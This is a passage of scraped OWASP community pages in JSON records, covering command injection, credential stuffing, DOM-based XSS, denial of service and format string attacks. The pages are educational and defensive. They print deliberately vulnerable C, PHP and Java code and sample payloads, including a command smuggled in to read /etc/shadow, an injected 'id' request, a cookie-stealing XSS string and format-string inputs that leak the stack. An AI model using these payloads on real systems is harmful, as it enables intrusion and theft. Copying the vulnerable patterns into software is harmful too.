home=getenv(\"APPHOME\");\nchar* cmd=(char*)malloc(strlen(home)+strlen(INITCMD));\nif (cmd) {\n strcpy(cmd,home);\n strcat(cmd,INITCMD);\n execl(cmd, NULL);\n}\n...\n```\n\nAs in Example 2, the code in this example allows an attacker to execute\narbitrary commands with the elevated privilege of the application. In\nthis example, the attacker can modify the environment variable $APPHOME\nto specify a different path containing a malicious version of INITCMD.\nBecause the program does not validate the value read from the\nenvironment, by controlling the environment variable, the attacker can\nfool the application into running malicious code.\n\nThe attacker is using the environment variable to control the command\nthat the program invokes, so the effect of the environment is explicit\nin this example. We will now turn our attention to what can happen when\nthe attacker changes the way the command is interpreted.\n\n### Example 4\n\nThe code below is from a web-based CGI utility that allows users to\nchange their passwords. The password update process under NIS includes\nrunning *make* in the /var/yp directory. Note that since the program\nupdates password records, it has been installed setuid root.\n\nThe program invokes make as follows:\n\n```\nsystem(\"cd /var/yp && make &> /dev/null\");\n```\n\nUnlike the previous examples, the command in this example is hardcoded,\nso an attacker cannot control the argument passed to system(). However,\nsince the program does not specify an absolute path for make, and does\nnot scrub any environment variables prior to invoking the command, the\nattacker can modify their $PATH variable to point to a malicious binary\nnamed make and execute the CGI script from a shell prompt. And since the\nprogram has been installed setuid root, the attacker’s version of make\nnow runs with root privileges.\n\nThe environment plays a powerful role in the execution of system\ncommands within programs. Functions like system() and exec() use the\nenvironment of the program that calls them, and therefore attackers have\na potential opportunity to influence the behavior of these calls.\n\nThere are many sites that will tell you that Java’s Runtime.exec is\nexactly the same as C’s system function. This is not true. Both allow\nyou to invoke a new program/process. However, C’s system function passes\nits arguments to the shell (/bin/sh) to be parsed, whereas Runtime.exec\ntries to split the string into an array of words, then executes the\nfirst word in the array with the rest of the words as parameters.\nRuntime.exec does NOT try to invoke the shell at any point. The key\ndifference is that much of the functionality provided by the shell that\ncould be used for mischief (chaining commands using “&”, “&&”, “|”,\n“||”, etc, redirecting input and output) would simply end up as a\nparameter being passed to the first command, and likely causing a syntax\nerror, or being thrown out as an invalid parameter.\n\n### Example 5\n\nThe following trivial code snippets are vulnerable to OS command\ninjection on the Unix/Linux platform:\n\n**C:**\n\n```\n#include \n#include \n#include \n\nint main(int argc, char **argv)\n{\n char command[256];\n\n if(argc != 2) {\n printf(\"Error: Please enter a program to time!\\n\");\n return -1;\n }\n\n memset(&command, 0, sizeof(command));\n\n strcat(command, \"time ./\");\n strcat(command, argv[1]);\n\n system(command);\n return 0;\n}\n```\n\nIf this were a suid binary, consider the case when an attacker\nenters the following: `ls; cat /etc/shadow`. In the Unix environment,\nshell commands are separated by a semi-colon. We now can execute system\ncommands at will!\n\n**Java:**\n\nThere are many sites that will tell you that Java’s `Runtime.exec` is\nexactly the same as C’s system function. This is not true. Both allow\nyou to invoke a new program/process. However, C’s system function passes\nits arguments to the shell (`/bin/sh`) to be parsed, whereas Runtime.exec\ntries to split the string into an array of words, then executes the\nfirst word in the array with the rest of the words as parameters.\nRuntime.exec does NOT try to invoke the shell at any point. The key\ndifference is that much of the functionality provided by the shell that\ncould be used for mischief (chaining commands using `&`, `&&`, `|`,\n`||`, etc, redirecting input and output) would simply end up as a\nparameter being passed to the first command, and likely causing a syntax\nerror, or being thrown out as an invalid parameter.\n\n### Example 6\n\nThe following PHP code snippet is vulnerable to a command injection\nattack:\n\n```\n\"); $file=$_GET['filename']; system(\"rm $file\"); ?> \n```\n\nThe following request and response is an example of a successful attack:\n\nRequest `http://127.0.0.1/delete.php?filename=bob.txt;id`\n\nResponse\n\n```\nPlease specify the name of the file to delete\n\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\nSanitizing Input\n\n```\nReplace or Ban arguments with “;”\nOther shell escapes available\nExample:\n– &&\n– |\n– ...\n```\n\nIdeally, a developer should use existing API for their language. For\nexample (Java): Rather than use `Runtime.exec()` to issue a ‘mail’\ncommand, use the available Java API located at `javax.mail.*`.\n\nIf no such available API exists, the developer should scrub all input\nfor malicious characters. Implementing a positive security model would\nbe most efficient. Typically, it is much easier to define the legal\ncharacters than the illegal characters.\n\n## References\n\n- [CWE-77: Command Injection](http://cwe.mitre.org/data/definitions/77.html)\n- [CWE-78: OS Command Injection](http://cwe.mitre.org/data/definitions/78.html)\n\n[Category:Injection](https://owasp.org/www-community/Injection_Flaws)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 9011, "slov": 1358, "odkazu": 31, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:15:46", "sha256": "1c1a16fc8a1b8a561e1655dcdeb29e78f157bfab6be1fd3a247e434d66326d98", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://cwe.mitre.org/data/definitions/77.html", "http://cwe.mitre.org/data/definitions/78.html", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/Credential_stuffing", "titulek": "Credential stuffing | OWASP Foundation", "h1": "Credential stuffing", "popis": "Credential stuffing on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/Credential_stuffing", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Credential stuffing on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Credential stuffing | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/Credential_stuffing", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Credential stuffing"}, {"uroven": 2, "text": "Description"}, {"uroven": 3, "text": "Likelihood & Severity"}, {"uroven": 3, "text": "Anatomy of Attack"}, {"uroven": 3, "text": "Diagram"}, {"uroven": 2, "text": "Defense"}, {"uroven": 2, "text": "Examples"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "See Also"}], "markdown": "# Credential stuffing\n\n**Author:** Neal Mueller \n **Contributor(s):** Jmanico, Dirk Wetter, kingthorin, Nick Malcolm , Jahanrajkar Singh\n\n## Description\n\nCredential stuffing is the automated injection of stolen username and password pairs (“credentials”) in to website login forms, in order to fraudulently gain access to user accounts.\n\nSince many users will re-use the same password and username/email, when those credentials are exposed (by a database breach or phishing attack, for example) submitting those sets of stolen credentials into dozens or hundreds of other sites can allow an attacker to compromise those accounts too.\n\nCredential Stuffing is a subset of the brute force attack category. Brute forcing will attempt to try multiple passwords against one or multiple accounts; guessing a password, in other words. Credential Stuffing typically refers to specifically using known (breached) username / password pairs against other websites.\n\nAttackers can also use information found in data leaks to reset passwords, particularly for business accounts. Since business information is often public, it is easier for attackers to obtain phone numbers, guess email addresses, and gather other relevant information. This method leverages security questions, recovery emails, or other personal information that might be included in the breach, allowing the attacker to take over accounts even if the passwords are not reused.\n\n### Likelihood & Severity\n\nCredential stuffing is one of the most common techniques used to\ntake-over user accounts.\n\nCredential stuffing is dangerous to both consumers and enterprises because of the ripple effects of these breaches. For more information on this please reference the Examples section showing the connected chain of events from one breach to another through credential stuffing.\n\n### Anatomy of Attack\n\n1. The attacker acquires usernames and passwords from a website breach, phishing attack, password dump site.\n2. The attacker uses automated tools to test the stolen credentials against many websites (for instance, social media sites, online marketplaces, or web apps).\n3. If the login is successful, the attacker knows they have a set of valid credentials.\n\nNow the attacker knows they have access to an account. Potential next steps include:\n\n1. Draining stolen accounts of stored value or making purchases.\n2. Accessing sensitive information such as credit card numbers, private messages, pictures, or documents.\n3. Using the account to send phishing messages or spam.\n4. Selling known-valid credentials to one or more of the compromised sites for other attackers to use.\n\n### Diagram\n\nIn the diagram above, acme.com’s database is compromised. An attacker takes the breached database and tries the credentials on three other websites, looking for successful logins. The attacker identifies two websites where the user “spongebob” is reusing their password, and one website where the user “sally” is reusing their password. The attacker can now get access to those three accounts.\n\n## Defense\n\nDefenses against Credential Stuffing are described in the [Credential Stuffing Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html), Multi-Factor Authentication being a primary counter-measure.\n\n## Examples\n\nBelow are excerpts taken from publications analyzing large-scale\nbreaches. Evidence supports that these breaches were the result of\ncredential stuffing.\n\n- Sony, 2011 breach: “I wish to highlight that two-thirds of users whose data were in both the Sony data set and the Gawker breach earlier this year used the same password for each system.”\n - Source: Agile Bits [1](https://blog.agilebits.com/2011/06/07/two-thirds-of-web-users-re-use-the-same-passwords/) - Source: Wired [2](http://www.wired.com/2011/10/93000-sony-accounts-breached/)\n- Yahoo, 2012 breach: “What do Sony and Yahoo! have in common? Passwords!”.\n - Source: Troy Hunt. [3](https://www.troyhunt.com/2012/07/what-do-sony-and-yahoo-have-in-common.html)\n- Dropbox, 2012 breach: “The usernames and passwords referenced in these articles were stolen from unrelated services, not Dropbox. Attackers then used these stolen credentials to try to log in to sites across the internet, including Dropbox”.\n - Source: Dropbox. [4](https://blog.dropbox.com/topics/company/dropbox-wasnt-hacked/)\n- JPMC, 2014 breach: “[The breached data] contained some of the combinations of passwords and email addresses used by race participants who had registered on the Corporate Challenge website, an online platform for a series of annual charitable races that JPMorgan sponsors in major cities and that is run by an outside vendor. The races are open to bank employees and employees of other corporations”.\n - Source: NY Times. [5](http://dealbook.nytimes.com/2014/10/31/discovery-of-jpmorgan-cyberattack-aided-by-company-that-runs-race-website-for-bank/)\n\nThis connected chain of events from Sony to Yahoo to Dropbox excludes\nJPMC. The JPMC breach came from a separate and unrelated source. We know\nthat the JPMC breach was caused by attackers targeting an unrelated\nthird-party athletic race/run site for credentials to use against JPMC.\n\n## References\n\n- [F5’s 2021 Credential Stuffing Report](https://www.f5.com/labs/articles/threat-intelligence/2021-credential-stuffing-report)\n- [You Can’t Secure 100% of Your Data 100% of the Time (2017)](https://hbr.org/2017/12/you-cant-secure-100-of-your-data-100-of-the-time)\n- [How Third Party Password Breaches Put Your Website at Risk (2013)](http://michael-coates.blogspot.be/2013/11/how-third-party-password-breaches-put.html)\n- [What Happens to Stolen Data After a Breach?](http://www.securityweek.com/what-happens-stolen-data-after-breach)\n\n## See Also\n\n- OWASP [Credential Stuffing Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html)\n- OWASP [Brute Force Attack](https://owasp.org/www-community/attacks/Brute_force_attack)\n- OWASP [Password Spraying](https://owasp.org/www-community/attacks/Password_Spraying_Attack)\n\n[Category:Attack](https://owasp.org/www-community/attacks/)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 6199, "slov": 826, "odkazu": 39, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:07", "sha256": "c520216817bbaae38b5544e31e426261728ad1980706d1cb208fe5e558a95cd6", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Credential_Stuffing_Prevention_Cheat_Sheet.html", "https://blog.agilebits.com/2011/06/07/two-thirds-of-web-users-re-use-the-same-passwords/", "http://www.wired.com/2011/10/93000-sony-accounts-breached/", "https://www.troyhunt.com/2012/07/what-do-sony-and-yahoo-have-in-common.html", "https://blog.dropbox.com/topics/company/dropbox-wasnt-hacked/", "http://dealbook.nytimes.com/2014/10/31/discovery-of-jpmorgan-cyberattack-aided-by-company-that-runs-race-website-for-bank/", "https://www.f5.com/labs/articles/threat-intelligence/2021-credential-stuffing-report", "https://hbr.org/2017/12/you-cant-secure-100-of-your-data-100-of-the-time", "http://michael-coates.blogspot.be/2013/11/how-third-party-password-breaches-put.html", "http://www.securityweek.com/what-happens-stolen-data-after-breach", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/DOM_Based_XSS", "titulek": "DOM Based XSS | OWASP Foundation", "h1": "DOM Based XSS", "popis": "DOM Based XSS on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/DOM_Based_XSS", "jazyk": "en", "robots_meta": "", "og": {"og:description": "DOM Based XSS on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "DOM Based XSS | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/DOM_Based_XSS", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "DOM Based XSS"}, {"uroven": 2, "text": "DOM Based XSS"}, {"uroven": 3, "text": "Definition"}, {"uroven": 3, "text": "Example"}, {"uroven": 3, "text": "Advanced Techniques and Derivatives"}, {"uroven": 3, "text": "Extensions"}, {"uroven": 3, "text": "Testing Tools and Techniques"}, {"uroven": 3, "text": "Defense Techniques"}, {"uroven": 3, "text": "References"}], "markdown": "# DOM Based XSS\n\nThank you for visiting OWASP.org. We have migrated our community to a new web platform and regretably the content for this page needed to be programmatically ported from its previous wiki page. There’s still some work to be done.\n\nThis is an example of a Project or Chapter Page.\n\n## DOM Based XSS\n\n### Definition\n\nDOM Based [XSS](XSS) (or as it is called in some texts,\n“type-0 XSS”) is an XSS attack wherein the attack payload is executed\nas a result of modifying the DOM “environment” in the victim’s browser\nused by the original client side script, so that the client side code\nruns in an “unexpected” manner. That is, the page itself (the HTTP\nresponse that is) does not change, but the client side code contained in\nthe page executes differently due to the malicious modifications that\nhave occurred in the DOM environment.\n\nThis is in contrast to other XSS attacks ([stored or\nreflected](XSS#Stored_and_Reflected_XSS_Attacks)), wherein\nthe attack payload is placed in the response page (due to a server side\nflaw).\n\nPlease note research from David Wichers seeking to reclassify DOM XSS\nmore strictly as CLIENT SIDE XSS.\n[https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting#DOM_Based_XSS_.28AKA_Type-0.29](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting#DOM_Based_XSS_.28AKA_Type-0.29)\n\n### Example\n\nSuppose the following code is used to create a form to let the user\nchoose their preferred language. A default language is also provided\nin the query string, as the parameter “default”.\n\n```\n…\n\nSelect your language:\n\n\n…\n```\n\nThe page is invoked with a URL such as:\n\n```\nhttp://www.some.site/page.html?default=French\n```\n\nA DOM Based XSS attack against this page can be accomplished by sending\nthe following URL to a victim:\n\n```\nhttp://www.some.site/page.html?default=\n```\n\nWhen the victim clicks on this link, the browser sends a request for:\n\n```\n/page.html?default=\n```\n\nto www.some.site. The server responds with the page containing the above\nJavascript code. The browser creates a DOM object for the page, in which\nthe document.location object contains the string:\n\n```\nhttp://www.some.site/page.html?default=\n```\n\nThe original Javascript code in the page does not expect the default\nparameter to contain HTML markup, and as such it simply decodes and echoes\nit into the page (DOM) at runtime. The browser then renders the resulting\npage and executes the attacker’s script:\n\n```\nalert(document.cookie)\n```\n\nNote that the HTTP response sent from the server does not contain the\nattacker’s payload. This payload manifests itself at the client-side\nscript at runtime, when a flawed script accesses the DOM variable\ndocument.location and assumes it is not malicious. In addition, most\nbrowsers URL encode document.location by default which reduces the\nimpact or possibility of many DOM XSS attacks.\n\n### Advanced Techniques and Derivatives\n\nIn the example above, while the payload was not embedded by the server\nin the HTTP response, it still arrived at the server as part of an HTTP\nrequest, and thus the attack could be detected at the server side. The\n[“DOM Based XSS”\npaper](http://www.webappsec.org/projects/articles/071105.shtml) ([1])\ndetails a technique to avoid server side detection. It also describes\nseveral other possible locations for the payload, besides\ndocument.location.\n\nThe technique to avoid sending the payload to the server hinges on the\nfact that URI fragments (the part in the URI after the “#”) is not sent\nto the server by the browser. Thus, any client side code that\nreferences, say, document.location, may be vulnerable to an attack which\nuses fragments, and in such case the payload is never sent to the\nserver. For example, the above DOM based XSS can be modified into:\n\n```\nhttp://www.some.site/page.html#default=\n```\n\nwhich mounts the same attack without it being seen by the server (which\nwill simply see a request for page.html without any URL parameters).\n\nIn December 2006, Stefano Di Paola and Giorgio Fedon described a\n[universal XSS attack against the Acrobat PDF\nplugin](http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf)\n([4]). This attack applied the fragment variant of DOM based XSS to\nPDF documents. The researchers discovered that a PDF document served to\nthe browser, when rendered by the Acrobat plugin, may end up executing\npart of the fragment as Javascript. Since the Javascript is executed in\nthe context (DOM) of the current site, all an attacker needed to exploit\nthis flaw was to simply find a PDF link somewhere on the site for the\nXSS condition to be met. If the attacker then tricked a user into\nclicking on (or submitting) a link like:\n\n```\nhttp://www.some.site/somefile.pdf#somename=javascript:attackers_script_here\n```\n\nthen a victim using an un-patched Acrobat reader would succumb to the\nattack. Adobe patched their reader after they were made aware of this\nflaw, but if not all users have downloaded the patch then those users\nare still vulnerable to this type of attack.\n\nIvan Ristic did some research and proposed some server side defenses\nagainst this type of attack in the presentation “Protecting Web\nApplications from Universal PDF XSS: A discussion of how weird the web\napplication security world has become” at the [2007 OWASP Europe AppSec\nConference](OWASP_AppSec_Europe_2007_-_Italy) in Milan. The\npresentation ([5]) can be downloaded\n[here](https://wiki.owasp.org/images/c/c2/OWASPAppSec2007Milan_ProtectingWebAppsfromUniversalPDFXSS.ppt).\n\n### Extensions\n\nOry Segal gave an example (section “Javascript flow manipulation” in\n[2]) of how a target page can be framed and the frame’s parent (in the\nattacker’s control) can be devised in such manner that it affects the\nexecution of the target page in a way desired by the attacker. The\ntechnique shows how DOM manipulation can be useful to modify the\nexecution flow of scripts in the target page.\n\nKuza55 and Stefano Di Paola discussed more ways in which the concept of\nDOM manipulation and DOM based XSS can be extended in [3].\n\n### Testing Tools and Techniques\n\n1. The DOM XSS Wiki - The start of a Knowledgebase for defining sources\nof attacker controlled inputs and sinks which could potentially\nintroduce DOM Based XSS issues. Its very immature as of 11/17/2011.\nPlease contribute to this wiki if you know of more dangerous sinks\nand/or safe alternatives!!\n\nSee: [http://code.google.com/p/domxsswiki/](https://code.google.com/p/domxsswiki/)\n\n2. DOM Snitch - An experimental Chrome extension that enables\ndevelopers and testers to identify insecure practices commonly found in\nclient-side code. From Google.\n\nSee: [http://code.google.com/p/domsnitch/](https://code.google.com/p/domsnitch/)\n\n### Defense Techniques\n\nSee:\n[https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)\n\n### References\n\n[1] “DOM Based Cross Site Scripting or XSS of the Third Kind” (WASC\nwriteup), Amit Klein, July 2005\n\n[http://www.webappsec.org/projects/articles/071105.shtml](http://www.webappsec.org/projects/articles/071105.shtml)\n\n[2] “JavaScript Code Flow Manipulation, and a real world example\nadvisory - Adobe Flex 3 Dom-Based XSS” (Watchfire blog), Ory Segal, June\n17th, 2008\n\n[http://blog.watchfire.com/wfblog/2008/06/javascript-code.html](http://blog.watchfire.com/wfblog/2008/06/javascript-code.html)\n\n[3] “Attacking Rich Internet Applications” (RUXCON 2008 presentation),\nKuza55 and Stefano Di Paola, November 2008\n\n[http://www.ruxcon.org.au/files/2008/Attacking_Rich_Internet_Applications.pdf](http://www.ruxcon.org.au/files/2008/Attacking_Rich_Internet_Applications.pdf)\n\n[4] “Subverting Ajax” (23C3 presentation), Stefano Di Paola and\nGiorgio Fedon, December 2006\n\n[http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf](http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf)\n\n[5] “Protecting Web Applications from Universal PDF XSS” (2007 OWASP\nEurope AppSec presentation) Ivan Ristic, May 2007\n\n[https://wiki.owasp.org/images/c/c2/OWASPAppSec2007Milan_ProtectingWebAppsfromUniversalPDFXSS.ppt](https://wiki.owasp.org/images/c/c2/OWASPAppSec2007Milan_ProtectingWebAppsfromUniversalPDFXSS.ppt)\n\n[6] OWASP Testing Guide\n\n[Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)](Testing_for_DOM-based_Cross_site_scripting_\\(OWASP-DV-003\\))\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 8867, "slov": 1113, "odkazu": 39, "kodovani": "windows-1250", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:06", "sha256": "ba7091cf36f9f69fea68c7a67cbdbfa06a59f69bbabbaef351028f512e55c044", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting", "http://www.webappsec.org/projects/articles/071105.shtml", "http://events.ccc.de/congress/2006/Fahrplan/attachments/1158-Subverting_Ajax.pdf", "https://wiki.owasp.org/images/c/c2/OWASPAppSec2007Milan_ProtectingWebAppsfromUniversalPDFXSS.ppt", "https://code.google.com/p/domxsswiki/", "https://code.google.com/p/domsnitch/", "https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html", "http://blog.watchfire.com/wfblog/2008/06/javascript-code.html", "http://www.ruxcon.org.au/files/2008/Attacking_Rich_Internet_Applications.pdf", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/attacks/Denial_of_Service", "titulek": "Denial of Service | OWASP Foundation", "h1": "Denial of Service", "popis": "Denial of Service on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/attacks/Denial_of_Service", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Denial of Service on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Denial of Service | OWASP Foundation", "og:url": "https://community.owasp.org/attacks/Denial_of_Service", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Denial of Service"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "Risk Factors"}, {"uroven": 2, "text": "Examples"}, {"uroven": 3, "text": "DoS User Specified Object Allocation"}, {"uroven": 3, "text": "DoS User Input as a Loop Counter"}, {"uroven": 3, "text": "DoS Failure to Release Resources"}, {"uroven": 3, "text": "DoS Buffer Overflows"}, {"uroven": 3, "text": "DoS Storing too Much Data in Session"}, {"uroven": 3, "text": "DoS Locking Customer Accounts"}, {"uroven": 2, "text": "References"}], "markdown": "# Denial of Service\n\n**Author:** Nsrav \n **Contributor(s):** KristenS, Adar Weidman, psiinon, Adrew Smith, Jkurucar, kingthorin\n\n## Description\n\nThe Denial of Service (DoS) attack is focused on making a resource\n(site, application, server) unavailable for the purpose it was designed.\nThere are many ways to make a service unavailable for legitimate users\nby manipulating network packets, programming, logical, or resources\nhandling vulnerabilities, among others. If a service receives a very\nlarge number of requests, it may cease to be available to legitimate\nusers. In the same way, a service may stop if a programming\nvulnerability is exploited, or the way the service handles resources it\nuses.\n\nSometimes the attacker can inject and execute arbitrary code while\nperforming a DoS attack in order to access critical information or\nexecute commands on the server. Denial-of-service attacks significantly\ndegrade the service quality experienced by legitimate users. These\nattacks introduce large response delays, excessive losses, and service\ninterruptions, resulting in direct impact on availability.\n\n## Risk Factors\n\nRisk factors can break down into multiple categories. Two principle\nsources of risk include inadequate resources and non-technical threat\nmotivators.\n\nThe first example of a risk factor, inadequate resources, requires\nattention if system architecture was not designed to meet traffic demand\noverflows. This risk reduces the difficulty of successfully executing a\nDoS attack and can, left unchecked, result in DoS symptoms absent an\nactual attack.\n\nThe second example and perhaps the largest risk factor is not technical\nand is in the domain of public relations or strategic communications. An\norganization should avoid taking action that can make them a target of a\nDoS attack unless the benefits of doing so outweigh the potential costs\nor mitigating controls are in place.\n\nOther risk factors may also exist depending on the specific environment.\n\n## Examples\n\nThe following DoS techniques and examples were extracted from OWASP\nTesting Guide v2.\n\n### DoS User Specified Object Allocation\n\nIf users can supply, directly or indirectly, a value that will specify\nhow many of an object to create on the application server, and if the\nserver does not enforce a hard upper limit on that value, it is possible\nto cause the environment to run out of available memory. The server may\nbegin to allocate the required number of objects specified, but if this\nis an extremely large number, it can cause serious issues on the server,\npossibly filling its whole available memory and corrupting its\nperformance.\n\nThe following is a simple example of vulnerable code in Java:\n\n```\nString TotalObjects = request.getParameter(“numberofobjects”); int NumOfObjects = Integer.parseInt(TotalObjects); ComplexObject[] anArray = new ComplexObject[NumOfObjects]; // wrong! \n```\n\n### DoS User Input as a Loop Counter\n\nSimilar to the previous problem of User Specified Object Allocation, if\nthe user can directly or indirectly assign a value that will be used as\na counter in a loop function, this can cause performance problems on the\nserver.\n\nThe following is an example of vulnerable code in Java:\n\n```\npublic class MyServlet extends ActionServlet { public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { . . . String [] values = request.getParameterValues(\"CheckboxField\"); // Process the data without length check for reasonable range – wrong! for ( int i=0; i void main(int argc, char **argv) { // This line is safe printf(\"%s\\n\", argv[1]); // This line is vulnerable printf(argv[1]); } \n```\n\n### Safe Code\n\nThe line `printf(\"%s\", argv[1]);` in the example is safe, if you compile the program and run it:\n\n`./example \"Hello World %s%s%s%s%s%s\"`\n\nThe `printf` in the first line will not interpret the “%s%s%s%s%s%s” in the input string, \nand the output will be: “Hello World %s%s%s%s%s%s”\n\n### Vulnerable Code\n\nThe line `printf(argv[1]);` in the example is vulnerable, if you compile the program and run it:\n\n`./example \"Hello World %s%s%s%s%s%s\"`\n\nThe `printf` in the second line will interpret the `%s%s%s%s%s%s` in the input string as a reference to string pointers, so it will try to interpret every %s as a pointer to a string, starting from the location of the buffer (probably on the Stack).\nAt some point, it will get to an invalid address, and attempting to access it will cause the program to crash.\n\n### Different Payloads\n\nAn attacker can also use this to get information, not just crash the software.\nFor example, running:\n\n`./example \"Hello World %p %p %p %p %p %p\"`\n\nWill print the lines:\n\n```\nHello World %p %p %p %p %p %p\nHello World 000E133E 000E133E 0057F000 CCCCCCCC CCCCCCCC CCCCCCCC\n```\n\nThe first line is printed from the non-vulnerable version of `printf`, and the second line from the vulnerable line.\nThe values printed after the “Hello World” text, are the values on the stack of my computer at the moment of running this example.\n\nAlso reading and writing to any memory location is possible in some conditions, and even code execution.\n\nFor more information, please see the [Exploiting Format String Vulnerabilities](https://cs155.stanford.edu/papers/formatstring-1.2.pdf) article from 2001.\n\n### Similar Functions to printf\n\nThe whole printf function family is vulnerable.\nHere is an example of snprintf:\n\n```\n#include void main(int argc, char **argv) { char buf[100]; snprintf(buf, sizeof buf, argv[1]); } \n```\n\nRunning this program as the following will cause a crash.\n\n`./example \"Hello World %s%s%s%s%s%s\"`\n\nA safe use of snprintf will be:\n\n`snprintf(buf, sizeof buf, \"%s\", argv[1]);`\n\n- contractors\n- internal software developer\n\n- [Code Injection](Code_Injection)\n\n- [Buffer Overflow](Buffer_Overflow)\n\n- [:Category:Input Validation](:Category:Input_Validation)\n\n## References\n\n- [http://www.webappsec.org/projects/threat/classes/format_string_attack.shtml](http://www.webappsec.org/projects/threat/classes/format_string_attack.shtml)\n- [http://en.wikipedia.org/wiki/Format_string_attack](https://en.wikipedia.org/wiki/Format_string_attack)\n- [http://seclists.org/bugtraq/2005/Dec/0030.html](http://seclists.org/bugtraq/2005/Dec/0030.html)\n- [https://cs155.stanford.edu/papers/formatstring-1.2.pdf](https://cs155.stanford.edu/papers/formatstring-1.2.pdf)\n\n[Category:Injection](https://owasp.org/www-community/Injection_Flaws)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 6275, "slov": 890, "odkazu": 37, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:33:50", "sha256": "9ddd0961c9f5ea7ce2f11a0637f64e965db38ddb122a15716231e64b5d02f277", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cs155.stanford.edu/papers/formatstring-1.2.pdf", "http://www.webappsec.org/projects/threat/classes/format_string_attack.shtml", "https://en.wikipedia.org/wiki/Format_string_attack", "http://seclists.org/bugtraq/2005/Dec/0030.html", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", 